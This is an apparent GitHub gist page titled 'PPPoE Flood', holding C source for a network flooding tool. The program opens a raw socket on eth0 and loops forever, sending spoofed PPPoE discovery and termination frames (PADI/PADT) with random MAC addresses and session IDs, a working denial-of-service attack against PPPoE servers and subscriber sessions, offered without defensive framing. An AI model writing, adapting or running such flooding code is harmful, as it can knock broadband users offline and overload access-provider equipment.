Skip to content

Instantly share code, notes, and snippets.

@nickfox-taterli
Created October 18, 2019 06:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save nickfox-taterli/aa7951cd5205e7d759fc6b6a2155b524 to your computer and use it in GitHub Desktop.
Save nickfox-taterli/aa7951cd5205e7d759fc6b6a2155b524 to your computer and use it in GitHub Desktop.
PPPoE Flood
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#include <netinet/in.h>
#include <time.h>
#define PPPOE_TYPE_PADI 0x09
#define PPPOE_TYPE_PADT 0xA7
void PPPoE_Flood(uint8_t *src, uint8_t *dst, uint8_t *id)
{
int fd;
int type;
struct sockaddr_ll sll;
struct ifreq req;
if(id[3] % 2 == 1){
type = PPPOE_TYPE_PADI;
}else{
type = PPPOE_TYPE_PADT;
}
unsigned char PADI_MSG[24] = {
dst[0], dst[1], dst[2], dst[3], dst[4], dst[5], /* DST */
src[0], src[1], src[2], src[3], src[4], src[5], /* SRC */
0x88, 0x63, /* 0x8863 => PADI */
0x11, type,
id[0], id[1], /* Session ID */
0x00, 0x04,
0x01, 0x01, 0x00, 0x00};
strncpy(req.ifr_name, "eth0", IFNAMSIZ);
fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd >= 0)
{
ioctl(fd, SIOCGIFINDEX, &req);
bzero(&sll, sizeof(sll));
sll.sll_ifindex = req.ifr_ifindex;
sendto(fd, PADI_MSG, 24, 0, (struct sockaddr *)&sll, sizeof(sll));
sendto(fd, PADI_MSG, 24, 0, (struct sockaddr *)&sll, sizeof(sll));
}
}
int main()
{
uint8_t src_mac[6];
uint8_t dst_mac[6];
uint8_t id[6];
uint8_t i = 0;
srand((unsigned)time(NULL));
for (;;)
{
for (i = 0; i < 6; i++)
{
src_mac[i] = rand() & 0xFF;
dst_mac[i] = rand() & 0xFF;
id[i] = rand() & 0xFF;
}
PPPoE_Flood(src_mac, dst_mac, id);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment